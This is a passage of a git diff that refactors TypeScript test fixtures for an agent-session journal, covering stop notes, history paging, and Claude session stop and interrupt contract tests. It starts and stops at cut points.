readAgentSessionHistory } from './agent-session-history-page' -import { AgentSessionSubscribers } from './structured-agent-session-subscribers' import { structuredAgentSessionStopNoteIdentity } from './structured-agent-session-command-turn' -import { HISTORY_PAGE_CONTENT_BUDGET_BYTES } from './agent-session-history-page-bounds' -import { MOBILE_BRIDGE_MAX_FRAME_BYTES } from '../../../shared/mobile-bridge-frame-bytes' -const journals = createTrackedJournalOpener() -const turnIdentity = { provider: 'orca', clientMessageId: 'turn-1' } as const -const turnItemId = agentJournalItemKey(turnIdentity) -const noteIdentity = structuredAgentSessionStopNoteIdentity('turn-1') -const noteId = agentJournalItemKey(noteIdentity) -const scope = { kind: 'turn', turnItemId } as const -const unconfirmed: AgentJournalItemBody = { - kind: 'status', - ...agentSessionFailureWords(agentSessionFailureFact('cancelUnconfirmed'), { surface: 'row' }), - tone: 'error', - presentation: 'error' -} -const ordinary = { kind: 'status', text: 'Cancellation requested.' } -let root: string -let journal: AgentSessionJournal - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-stop-note-projection-')) - journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'ws-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle('thread-1') - }, - stateDirectory: root - }) -}) -afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) -}) - -async function turn(state: AgentJournalTurnLifecycle['state'], legacy = false) { - const lifecycle: AgentJournalTurnLifecycle = { turnId: 'turn-1', state } - await journal.appendItem( - turnIdentity, - legacy - ? { kind: 'status', text: 'Turn ended', turnLifecycle: lifecycle } - : { kind: 'turn', ...lifecycle }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) -} -async function note(body: AgentJournalItemBody = unconfirmed) { - await journal.appendItem(noteIdentity, body, { fence: 1, turnScope: scope }) -} -function readNote() { - return journal.snapshot().items.find((item) => item.itemId === noteId)! -} -function rows() { - const result = journal.readSince({ epoch: journal.epoch, sequence: 0 }) - if (!result.ok) { - throw new Error(result.reset) - } - return result.rows -} +import { + fixture, + note, + noteId, + noteIdentity, + ordinary, + readNote, + rows, + scope, + turn, + turnIdentity, + turnItemId, + unconfirmed +} from './agent-session-stop-note-contract-test-fixture' it.each([false, true])( 'derives an interrupted turn note without changing any stored row (legacy=%s)', @@ -90,8 +34,8 @@ it.each([false, true])( await turn('running', legacy) await note() const prior = readNote() - const raw = journal.itemBody(noteId) - const held = journal.cursor() + const raw = fixture.journal.itemBody(noteId) + const held = fixture.journal.cursor() await turn('interrupted', legacy) const stored = rows() const projected = readNote() @@ -99,18 +43,19 @@ it.each([false, true])( expect(projected).toEqual({ ...prior, body: ordinary }) expect(projected).not.toBe(prior) expect(readNote()).toBe(projected) - expect(journal.itemBody(noteId)).toBe(raw) + expect(fixture.journal.itemBody(noteId)).toBe(raw) expect(rows()).toEqual(stored) - expect(stored.filter((row) => row.kind === 'item' && row.itemId === noteId)).toHaveLength(1) - const replay = createJournalReducerState('session-1', journal.epoch) - stored.forEach((row) => applyJournalRow(replay, row)) + expect( + stored.filter((row) => row.kind === 'outcome' && row.itemIds.includes(noteId)) + ).toHaveLength(1) + const replay = restoreJournal(openTestJournalHostDatabase(fixture.root).db, 'session-1')!.state expect(replay.items.get(noteId)?.body).toEqual(unconfirmed) expect(renderJournalState(replay).items.find((item) => item.itemId === noteId)?.body).toEqual( ordinary ) const batch = projectJournalBatch({ rows: stored.filter((row) => row.seq > held.sequence), - snapshot: journal.snapshot(), + snapshot: fixture.journal.snapshot(), afterSequence: held.sequence }) expect(batch).toMatchObject({ @@ -133,7 +78,7 @@ it.each(['running', 'completed', 'unverifiable', 'missing'] as const)( await turn(state) } await note() - expect(readNote().body).toBe(journal.itemBody(noteId)) + expect(readNote().body).toBe(fixture.journal.itemBody(noteId)) expect(readNote().body).toEqual(unconfirmed) } ) @@ -145,20 +90,23 @@ it('leaves unrelated failures and non-Stop notes unchanged', async () => { ...agentSessionFailureWords(agentSessionFailureFact('providerExited'), { surface: 'row' }) } await note(failed) - await journal.appendItem({ provider: 'orca', clientMessageId: 'other' }, unconfirmed, { + await fixture.journal.appendItem({ provider: 'orca', clientMessageId: 'other' }, unconfirmed, { fence: 1, turnScope: scope }) - expect(readNote().body).toBe(journal.itemBody(noteId)) - expect(journal.snapshot().items.at(-1)?.body).toEqual(unconfirmed) + expect(readNote().body).toBe(fixture.journal.itemBody(noteId)) + expect(fixture.journal.snapshot().items.at(-1)?.body).toEqual(unconfirmed) }) it('derives the op-keyed note after the retained association write re-keys it onto the turn', async () => { const op = structuredAgentSessionStopNoteIdentity('operation-1') - await journal.appendItem(op, unconfirmed, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) + await fixture.journal.appendItem(op, unconfirmed, { + fence: 1, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + }) await turn('running') - const held = journal.cursor() - await journal.appendLifecycleBatch({ + const held = fixture.journal.cursor() + await fixture.journal.appendLifecycleBatch({ settlementId: 'stop-note-on-turn', fence: 1, mutations: [ @@ -168,17 +116,17 @@ it('derives the op-keyed note after the retained association write re-keys it on }) await turn('interrupted') expect(readNote().body).toEqual(ordinary) - expect(journal.itemBody(noteId)).toEqual(unconfirmed) + expect(fixture.journal.itemBody(noteId)).toEqual(unconfirmed) const batch = projectJournalBatch({ rows: rows().filter((row) => row.seq > held.sequence), - snapshot: journal.snapshot(), + snapshot: fixture.journal.snapshot(), afterSequence: held.sequence }) expect(batch).toMatchObject({ ok: true, batch: { removedItemIds: [agentJournalItemKey(op)] } }) }) it('keeps an operation note unconfirmed when no turn opened before the kill failed', async () => { - await journal.appendItem(noteIdentity, unconfirmed, { + await fixture.journal.appendItem(noteIdentity, unconfirmed, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE }) @@ -189,8 +137,8 @@ it('keeps an operation note unconfirmed when no turn opened before the kill fail it('re-emits the note for lifecycle turn mutations and restores the raw wording for a turn tombstone', async () => { await turn('running') await note() - const held = journal.cursor() - await journal.appendLifecycleBatch({ + const held = fixture.journal.cursor() + await fixture.journal.appendLifecycleBatch({ settlementId: 'ended', fence: 1, mutations: [ @@ -204,7 +152,7 @@ it('re-emits the note for lifecycle turn mutations and restores the raw wording }) const batch = projectJournalBatch({ rows: rows().filter((row) => row.seq > held.sequence), - snapshot: journal.snapshot(), + snapshot: fixture.journal.snapshot(), afterSequence: held.sequence }) expect(batch).toMatchObject({ @@ -216,15 +164,15 @@ it('re-emits the note for lifecycle turn mutations and restores the raw wording ] } }) - const ended = journal.cursor() - await journal.appendLifecycleBatch({ + const ended = fixture.journal.cursor() + await fixture.journal.appendLifecycleBatch({ settlementId: 'removed', fence: 1, mutations: [{ kind: 'tombstone', identity: turnIdentity }] }) const removed = projectJournalBatch({ rows: rows().filter((row) => row.seq > ended.sequence), - snapshot: journal.snapshot(), + snapshot: fixture.journal.snapshot(), afterSequence: ended.sequence }) expect(removed).toMatchObject({ @@ -239,9 +187,9 @@ it('re-emits the note for lifecycle turn mutations and restores the raw wording it('pages the end with its earlier note and advances by the consumed end row', async () => { await turn('running') await note() - const held = journal.cursor() + const held = fixture.journal.cursor() await turn('interrupted') - const page = readAgentSessionHistory(journal, { + const page = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after', cursor: held, @@ -254,11 +202,11 @@ it('pages the end with its earlier note and advances by the consumed end row', a expect.objectContaining({ itemId: turnItemId }), expect.objectContaining({ itemId: noteId, body: ordinary }) ], - window: { nextCursor: journal.cursor() }, + window: { nextCursor: fixture.journal.cursor() }, hasNewer: false } }) - const notePage = readAgentSessionHistory(journal, { + const notePage = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'tail', limit: 1 @@ -271,9 +219,9 @@ it('pages the end with its earlier note and advances by the consumed end row', a it('derives a note page with its ended turn on an earlier page, in either paging direction', async () => { await turn('interrupted') - const held = journal.cursor() + const held = fixture.journal.cursor() await note() - const forward = readAgentSessionHistory(journal, { + const forward = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'after', cursor: held, @@ -283,18 +231,18 @@ it('derives a note page with its ended turn on an earlier page, in either paging ok: true, page: { items: [expect.objectContaining({ itemId: noteId, body: ordinary })], - window: { nextCursor: journal.cursor() } + window: { nextCursor: fixture.journal.cursor() } } }) - await journal.appendItem( + await fixture.journal.appendItem( { provider: 'orca', clientMessageId: 'later' }, { kind: 'status', text: 'Later' }, { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } ) - const backward = readAgentSessionHistory(journal, { + const backward = readAgentSessionHistory(fixture.journal, { sessionId: 'session-1', direction: 'before', - cursor: journal.cursor(), + cursor: fixture.journal.cursor(), limit: 1 }) expect(backward).toMatchObject({ @@ -305,114 +253,3 @@ it('derives a note page with its ended turn on an earlier page, in either paging } }) }) - -it('shrinks the triggering row window without dropping the dependent note', async () => { - await turn('running') - await note() - const held = journal.cursor() - const large = { - kind: 'message', - role: 'assistant', - blocks: [ - { type: 'text', text: 'x'.repeat(Math.floor(HISTORY_PAGE_CONTENT_BUDGET_BYTES * 0.6)) } - ] - } as const - for (const clientMessageId of ['large-1', 'large-2']) { - await journal.appendItem( - { provider: 'orca', clientMessageId }, - { ...large, blocks: [...large.blocks] }, - { fence: 1, turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - } - await turn('interrupted') - const first = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: held, - limit: 3 - }) - if (!first.ok) { - throw new Error(first.reset) - } - expect(first.page.hasNewer).toBe(true) - const next = readAgentSessionHistory(journal, { - sessionId: 'session-1', - direction: 'after', - cursor: first.page.window.nextCursor, - limit: 3 - }) - expect(next).toMatchObject({ - ok: true, - page: { - items: expect.arrayContaining([expect.objectContaining({ itemId: noteId, body: ordinary })]), - window: { nextCursor: journal.cursor() } - } - }) -}) - -it('refreshes at the exact tip using bounded frames and no durable writes', async () => { - await turn('interrupted') - for (let index = 0; index < 205; index += 1) { - await journal.appendItem(structuredAgentSessionStopNoteIdentity(`op-${index}`), unconfirmed, { - fence: 1, - turnScope: scope - }) - } - const stored = rows() - const events: AgentSessionSubscribeEvent[] = [] - new AgentSessionSubscribers().open({ - id: 'reconnect', - sessionId: 'session-1', - journal, - fence: 1, - cursor: journal.cursor(), - emit: (event) => events.push(event) - }) - const batches = events.flatMap((event) => (event.type === 'batch' ? [event.batch] : [])) - expect(batches.flatMap((batch) => batch.items)).toHaveLength(205) - expect( - batches.every( - (batch) => - batch.items.length <= 200 && - Buffer.byteLength(JSON.stringify(batch), 'utf8') < HISTORY_PAGE_CONTENT_BUDGET_BYTES && - batch.cursor.sequence === journal.cursor().sequence - ) - ).toBe(true) - expect( - batches - .flatMap((batch) => batch.items) - .every( - (item) => - item.body.kind === 'status' && item.body.text === ordinary.text && !item.body.failure - ) - ).toBe(true) - expect(rows()).toEqual(stored) -}) - -it('refreshes a phone within its frames, in bounded pages', async () => { - await turn('interrupted') - for (let index = 0; index < 205; index += 1) { - await journal.appendItem(structuredAgentSessionStopNoteIdentity(`op-${index}`), unconfirmed, { - fence: 1, - turnScope: scope - }) - } - const events: AgentSessionSubscribeEvent[] = [] - new AgentSessionSubscribers().open({ - id: 'phone', - sessionId: 'session-1', - journal, - fence: 1, - cursor: journal.cursor(), - emit: (event) => events.push(event), - boundedFrames: true - }) - const batches = events.flatMap((event) => (event.type === 'batch' ? [event.batch] : [])) - expect(batches.filter((batch) => batch.items.length > 0)).toHaveLength(2) - expect(batches.flatMap((batch) => batch.items)).toHaveLength(205) - for (const event of events) { - expect(Buffer.byteLength(JSON.stringify(event), 'utf8')).toBeLessThan( - MOBILE_BRIDGE_MAX_FRAME_BYTES - ) - } -}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-actionable-prompts.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-actionable-prompts.ts index 44ffbe9b926..5117fe2f054 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-actionable-prompts.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-actionable-prompts.ts @@ -15,7 +15,7 @@ export type PromptProjection = { } export function reusePromptProjection( - journal: Partial>, + journal: Partial>, prior: PromptProjection | undefined, cursor: Pick, liveFence: number | null @@ -35,16 +35,24 @@ export function reusePromptProjection( prior.dependencies.has(change.itemId) || (change.kind === 'item' && (change.body.kind === 'approval' || change.body.kind === 'question')) + const outcomeTouches = (itemId: string): boolean => { + if (!journal.item || prior.dependencies.has(itemId)) { + return true + } + const body = journal.item(itemId)?.body + return body?.kind === 'approval' || body?.kind === 'question' + } if ( delta.ok && delta.cursor.sequence === cursor.sequence && delta.rows.at(-1)?.seq === cursor.sequence && - delta.rows.every( - (row, index) => - row.seq === prior.sequence + index + 1 && - (row.kind === 'lifecycle-batch' - ? !row.mutations.some(touches) - : (row.kind === 'item' || row.kind === 'tombstone') && !touches(row)) + delta.rows.every((row, index) => + row.kind === 'outcome' + ? row.submissionIds.length === 0 && !row.itemIds.some(outcomeTouches) + : row.seq === prior.sequence + index + 1 && + (row.kind === 'lifecycle-batch' + ? !row.mutations.some(touches) + : (row.kind === 'item' || row.kind === 'tombstone') && !touches(row)) ) ) { prior.sequence = cursor.sequence diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-append-delivery.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-append-delivery.test.ts index 1b6082b1efb..fdec1d981d3 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-append-delivery.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-append-delivery.test.ts @@ -256,7 +256,9 @@ describe('an open chat receives each row once', () => { epoch: row.epoch, sequence: row.seq, kind: row.kind, - itemId: 'itemId' in row ? row.itemId : null + // A new chat saves outcomes, whose change index names the items each sequence wrote. + itemId: + row.kind === 'outcome' ? row.itemIds.join() : 'itemId' in row ? row.itemId : null })) : [] }) @@ -285,7 +287,7 @@ describe('an open chat receives each row once', () => { { epoch: committedCursor.epoch, sequence: committedCursor.sequence, - kind: 'item', + kind: 'outcome', itemId: 'orca:streamed' } ] diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-actions.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-actions.ts new file mode 100644 index 00000000000..6e849532665 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-actions.ts @@ -0,0 +1,214 @@ +import { createStoppedClaudeDeadline } from './structured-agent-session-stop-deadline.test-fixture' +import { expect, vi } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' +import { projectStructuredAgentSessionStatusState } from '../../../shared/structured-agent-session-projection' +import { structuredAgentSessionAgentStatus } from '../../../shared/structured-agent-session-agent-status' +import { + claudeFrame as frame, + claudeWasSent as wrote, + type FakeConnection +} from '../../claude/claude-structured-session-test-support' +import { invokeCanUseTool } from '../../claude/claude-can-use-tool-test-support' +import { + HOST_TEST_SESSION as SESSION, + hostTestMessage, + hostTestOperationId +} from './structured-agent-session-host-test-data' + +import { + fixture, + CALLER, + CAPABILITIES, + laneDrained +} from './structured-agent-session-claude-stop-contract-test-fixture' +export function eventually(assertion: () => T | Promise): Promise { + return vi.waitFor(assertion, { timeout: 10_000 }) +} + +export function envelope( + method: 'agentSession.send' | 'agentSession.cancel', + fields: Record, + fence = fixture.store.getRecord(SESSION)!.lease.runtimeFence +) { + return { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: fence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method, + sessionId: SESSION, + fields + }) + } +} + +export async function send(text: string, fence?: number): Promise { + const body = hostTestMessage(text) + const sent = await fixture.host.send(CALLER, { + envelope: envelope('agentSession.send', { body }, fence), + body + }) + if (!sent.ok) { + throw new Error('send refused') + } + return sent.value.clientMessageId +} + +export async function dispatch(clientMessageId: string) { + const submission = (await fixture.host.journalSnapshot(SESSION)).submissions.find( + (entry) => entry.clientMessageId === clientMessageId + ) + return { state: submission?.dispatchState, reason: submission?.reason } +} + +export async function openTurn( + connection: FakeConnection, + text = 'Write a long reply.' +): Promise { + const clientMessageId = await send(text) + await eventually(() => + expect(connection.sent.some((message) => JSON.stringify(message).includes(text))).toBe(true) + ) + frame(connection, { + type: 'system', + subtype: 'init', + uuid: `init-${text}`, + model: 'claude-sonnet-5', + capabilities: CAPABILITIES + }) + const written = connection.sent.at(-1)! + frame(connection, { ...written, uuid: written.uuid }) + frame(connection, { + type: 'assistant', + uuid: 'stopped-turn-leaf', + parent_tool_use_id: null, + message: { id: 'msg-1', role: 'assistant', content: [{ type: 'text', text: 'Working on' }] } + }) + await eventually(async () => expect((await dispatch(clientMessageId)).state).toBe('accepted')) + const turnId = activeStructuredAgentSessionTurnId( + (await fixture.host.journalSnapshot(SESSION)).items + ) + expect(turnId).not.toBeNull() + return turnId! +} + +export function stop(turnId?: string) { + const fields = turnId === undefined ? {} : { turnId } + return fixture.host.cancel(CALLER, { + envelope: envelope('agentSession.cancel', fields), + ...fields + }) +} + +/** Drain through Stop’s queued second step. */ + +export function stopEventsAtClose(connection: FakeConnection): () => number | undefined { + let atClose: number | undefined + const close = connection.close + connection.close = async () => { + const journal = fixture.host.collaboratorsForTests().sessions.get(SESSION)?.journal + atClose ??= journal?.stopMarks.latest()?.event.reason === 'user-stop' ? 1 : 0 + return close() + } + return () => atClose +} + +export async function interruptSent(connection: FakeConnection): Promise { + await eventually(() => + expect(connection.calls.some((call) => call.subtype === 'interrupt')).toBe(true) + ) +} + +export async function turnOutcome(): Promise { + await fixture.host.flushStreamedEvents(SESSION) + const snapshot = await fixture.host.journalSnapshot(SESSION) + return readAgentJournalTurn(snapshot.items.findLast((item) => item.body.kind === 'turn')?.body) + ?.outcome +} + +export async function statusTexts(): Promise { + await fixture.host.flushStreamedEvents(SESSION) + return (await fixture.host.journalSnapshot(SESSION)).items.flatMap((item) => + item.body.kind === 'status' ? [String(item.body.text)] : [] + ) +} + +export async function sendUnechoed(connection: FakeConnection): Promise { + const clientMessageId = await send('Write a long reply.') + await eventually(() => expect(wrote(connection, 'Write a long reply.')).toBe(true)) + return clientMessageId +} + +export function childRecords() { + return fixture.statusSubject + ? fixture.server.getStructuredChildWorkViews(fixture.statusSubject) + : [] +} + +export async function agentStatus() { + await fixture.host.flushStreamedEvents(SESSION) + const { items, submissions } = await fixture.host.journalSnapshot(SESSION) + const { summary } = projectStructuredAgentSessionStatusState( + items, + submissions, + fixture.store.getRecord(SESSION)!.lease.runtimeFence + ) + return summary.status + ? structuredAgentSessionAgentStatus({ + status: summary.status, + turnOutcome: summary.turnOutcome, + childWork: childRecords() + }) + : null +} + +export async function ask( + connection: FakeConnection, + toolName: string, + input: Record, + signal?: AbortSignal +): Promise<{ + answered: ReturnType + card: { itemId: string; expectedRevision: number } +}> { + const answered = invokeCanUseTool(connection, toolName, 'permission-1', 'tool-1', { + input, + ...(signal ? { signal } : {}) + }) + const card = await eventually(async () => { + await fixture.host.flushStreamedEvents(SESSION) + const item = (await fixture.host.journalSnapshot(SESSION)).items.find( + (entry) => entry.body.kind === 'approval' || entry.body.kind === 'question' + ) + expect(item).toBeDefined() + return { itemId: item!.itemId, expectedRevision: item!.revision } + }) + return { answered, card } +} + +export function cancelCard(turnId: string, prompt: { itemId: string; expectedRevision: number }) { + const fields = { turnId, prompt } + return fixture.host.cancel(CALLER, { + envelope: envelope('agentSession.cancel', fields), + ...fields + }) +} + +export async function cardResolution(itemId: string): Promise { + await fixture.host.flushStreamedEvents(SESSION) + const body = (await fixture.host.journalSnapshot(SESSION)).items.find( + (item) => item.itemId === itemId + )?.body + return body?.kind === 'approval' || body?.kind === 'question' ? body.resolution : undefined +} + +export const stopAcrossGrace = createStoppedClaudeDeadline({ + host: () => fixture.host, + adapter: () => fixture.adapter, + claude: () => fixture.claude, + sessionId: SESSION, + stop, + laneDrained +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-fixture.ts new file mode 100644 index 00000000000..6bc9368546a --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-contract-test-fixture.ts @@ -0,0 +1,235 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { afterEach, beforeEach, expect, vi } from 'vitest' +import type { AgentStatusStructuredSessionSubject } from '../../../shared/agent-status-subject' +import { AgentHookServer } from '../../agent-hooks/server' +import { runClaudeControl } from '../../claude/claude-agent-sdk-control-requests' +import { ClaudeStructuredSessionAdapter } from '../../claude/claude-structured-session-adapter' +import type { ClaudeStructuredSessionEvent } from '../../claude/structured/claude-structured-session-state' +import { + fakeClaude, + PROVIDER_SESSION_ID +} from '../../claude/claude-structured-session-test-support' +import type { AgentSessionRecordStore } from '../../runtime/agent-session-record-store' +import { openTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' +import { structuredClaudeLifecycleEvent } from '../../runtime/structured-claude-runtime-adapter' +import { + closeTestJournalHostDatabases, + openTestJournalHostDatabase +} from '../agent-session-journal/journal-host-database-test-support' +import { StructuredAgentSessionHost } from './structured-agent-session-host' +import { recordingStructuredAgentSessionLogger } from './structured-agent-session-logger-test-support' +import { + HOST_TEST_NOW as NOW, + HOST_TEST_SESSION as SESSION, + hostTestAttachParams, + resetHostTestOperationIds +} from './structured-agent-session-host-test-data' +import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' + +export const CALLER = { callerKey: 'client-1' } +// Claude Code 2.1.280 system/init capabilities. + +export const CAPABILITIES = [ + 'interrupt_receipt_v1', + 'interrupt_cancel_queued_v1', + 'msg_lifecycle_v1' +] + +let root: string + +let host: StructuredAgentSessionHost + +let adapter: ClaudeStructuredSessionAdapter + +let store: AgentSessionRecordStore + +let queued: string[] + +let claude: ReturnType + +let events: ClaudeStructuredSessionEvent[] + +let logs: ReturnType + +let server: AgentHookServer + +let statusSubject: AgentStatusStructuredSessionSubject | undefined + +beforeEach(async () => { + root = await mkdtemp(join(tmpdir(), 'orca-claude-stop-ends-session-')) + resetHostTestOperationIds() + queued = [] + events = [] + logs = recordingStructuredAgentSessionLogger() + server = new AgentHookServer() + statusSubject = undefined + claude = fakeClaude({ + replayUuid: null, + routes: { + interrupt: (params) => + params?.cancelQueued + ? { still_queued: [], cancelled: queued.splice(0) } + : { still_queued: [...queued] } + } + }) + const lifecycle: Promise[] = [] + adapter = new ClaudeStructuredSessionAdapter({ + resolveLaunch: async () => ({ + pathToClaudeCodeExecutable: 'claude', + options: {}, + cwd: root, + claudeConfigDir: join(root, 'claude-home'), + providerSessionId: PROVIDER_SESSION_ID, + resumeLeafUuid: null, + resumesTranscript: (store.getRecord(SESSION)?.providerHandleChain.length ?? 0) > 0, + cliFlag: async () => 'supported' as const, + continuesChain: (store.getRecord(SESSION)?.providerHandleChain.length ?? 0) > 0 + }), + onEvent: (event) => { + events.push(event) + const mapped = structuredClaudeLifecycleEvent(event) + if (mapped) { + lifecycle.push(host.handleAdapterEvent(mapped)) + } + }, + onDispatchSettledLate: (settlement) => void host.settleLateDispatch(settlement), + onChildWorkEvidence: (sessionId, evidence) => + host.publishChildWorkEvidence(sessionId, evidence), + openConnection: claude.openConnection, + readProcessStartTime: async () => 1_700_000_000_000, + now: () => NOW + }) + store = await openTestAgentSessionRecordStore(root) + host = new StructuredAgentSessionHost({ + agents: NO_STRUCTURED_AGENTS, + store, + adapter: Object.assign(adapter, { supportsCreate: () => true }), + journalDatabase: openTestJournalHostDatabase(root), + claimKeyId: 'key-1', + mintSpawnToken: () => 'spawn-a', + logger: logs.logger, + statusSink: { + publish: (summary, subject) => { + statusSubject = subject + server.ingestStructuredStatus(summary, subject) + }, + forget: (subject) => server.dropStructuredStatus(subject), + publishChildWork: (subject, evidence, provider) => + server.ingestStructuredChildWork(subject, evidence, provider), + readChildWork: (subject) => server.getStructuredChildWorkViews(subject) + }, + now: () => NOW + }) + const params = hostTestAttachParams(null, { + provider: 'claude', + agent: 'claude', + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: join(root, 'claude-home') }, + providerHandle: { kind: 'claude', sessionId: PROVIDER_SESSION_ID, leafUuid: null } + }) + expect(await host.attach(CALLER, params)).toMatchObject({ ok: true }) + await vi.waitFor(() => expect(host.readStatusSummary(SESSION)?.hostExecutionPhase).toBe('ready')) + await Promise.all(lifecycle) +}) + +afterEach(async () => { + vi.restoreAllMocks() + vi.useRealTimers() + await adapter.closeAll() + await host.flushAllStreamedEvents() + await closeTestJournalHostDatabases() + await rm(root, { recursive: true, force: true }) +}) + +export const laneDrained = (): Promise => host['tasks'].serialize(SESSION, async () => {}) + +export const INTERRUPTED_RESULT = { + type: 'result', + subtype: 'error_during_execution', + is_error: true, + terminal_reason: 'aborted_streaming', + uuid: 'interrupted-result' +} + +// Exercise the real control deadline with a request that never answers. + +export const NEVER_ANSWERS = (options?: Record) => + runClaudeControl( + 'interrupt', + () => new Promise(() => {}), + typeof options?.timeoutMs === 'number' ? options.timeoutMs : undefined + ) + +export const BRANCH_QUESTION = { + questions: [ + { + question: 'Which branch?', + header: 'Branch', + multiSelect: false, + options: [{ label: 'main' }, { label: 'dev' }] + } + ] +} +export const fixture = { + get adapter() { + return adapter + }, + set adapter(value: typeof adapter) { + adapter = value + }, + get claude() { + return claude + }, + set claude(value: typeof claude) { + claude = value + }, + get events() { + return events + }, + set events(value: typeof events) { + events = value + }, + get host() { + return host + }, + set host(value: typeof host) { + host = value + }, + get logs() { + return logs + }, + set logs(value: typeof logs) { + logs = value + }, + get queued() { + return queued + }, + set queued(value: typeof queued) { + queued = value + }, + get root() { + return root + }, + set root(value: typeof root) { + root = value + }, + get server() { + return server + }, + set server(value: typeof server) { + server = value + }, + get statusSubject() { + return statusSubject + }, + set statusSubject(value: typeof statusSubject) { + statusSubject = value + }, + get store() { + return store + }, + set store(value: typeof store) { + store = value + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts index 4f2e4478780..84bcd596134 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-claude-stop-ends-session.test.ts @@ -1,289 +1,38 @@ -// Claude Stop answers the interrupt before serialized child shutdown; next send resumes the resting conversation. - -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, beforeEach, expect, it, vi } from 'vitest' -import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' -import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { expect, it } from 'vitest' import { DISPATCH_REJECTED_CANCELLED } from '../../../shared/structured-agent-session-dispatch-rejection' -import { activeStructuredAgentSessionTurnId } from '../../../shared/structured-agent-session-live-turn' -import { projectStructuredAgentSessionStatusState } from '../../../shared/structured-agent-session-projection' -import { structuredAgentSessionAgentStatus } from '../../../shared/structured-agent-session-agent-status' -import type { AgentStatusStructuredSessionSubject } from '../../../shared/agent-status-subject' -import { AgentHookServer } from '../../agent-hooks/server' -import { - ClaudeControlRequestError, - runClaudeControl -} from '../../claude/claude-agent-sdk-control-requests' +import { ClaudeControlRequestError } from '../../claude/claude-agent-sdk-control-requests' import { CLAUDE_STOP_GRACE_MS } from '../../claude/claude-request-end-wait' -import { ClaudeStructuredSessionAdapter } from '../../claude/claude-structured-session-adapter' -import type { ClaudeStructuredSessionEvent } from '../../claude/structured/claude-structured-session-state' import { claudeFrame as frame, claudeWasSent as wrote, - fakeClaude, - PROVIDER_SESSION_ID, - type FakeConnection + PROVIDER_SESSION_ID } from '../../claude/claude-structured-session-test-support' -import { invokeCanUseTool } from '../../claude/claude-can-use-tool-test-support' -import type { AgentSessionRecordStore } from '../../runtime/agent-session-record-store' -import { openTestAgentSessionRecordStore } from '../../runtime/agent-session-record-store-test-harness' -import { structuredClaudeLifecycleEvent } from '../../runtime/structured-claude-runtime-adapter' +import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' + import { - closeTestJournalHostDatabases, - openTestJournalHostDatabase -} from '../agent-session-journal/journal-host-database-test-support' -import { StructuredAgentSessionHost } from './structured-agent-session-host' -import { createStoppedClaudeDeadline } from './structured-agent-session-stop-deadline.test-fixture' -import { recordingStructuredAgentSessionLogger } from './structured-agent-session-logger-test-support' -import { - HOST_TEST_NOW as NOW, - HOST_TEST_SESSION as SESSION, - hostTestAttachParams, - hostTestMessage, - hostTestOperationId, - resetHostTestOperationIds -} from './structured-agent-session-host-test-data' -import { NO_STRUCTURED_AGENTS } from './structured-agent-session-adapter-router-test-support' - -const CALLER = { callerKey: 'client-1' } -// Claude Code 2.1.280 system/init capabilities. -const CAPABILITIES = ['interrupt_receipt_v1', 'interrupt_cancel_queued_v1', 'msg_lifecycle_v1'] - -let root: string -let host: StructuredAgentSessionHost -let adapter: ClaudeStructuredSessionAdapter -let store: AgentSessionRecordStore -let queued: string[] -let claude: ReturnType -let events: ClaudeStructuredSessionEvent[] -let logs: ReturnType -let server: AgentHookServer -let statusSubject: AgentStatusStructuredSessionSubject | undefined - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-claude-stop-ends-session-')) - resetHostTestOperationIds() - queued = [] - events = [] - logs = 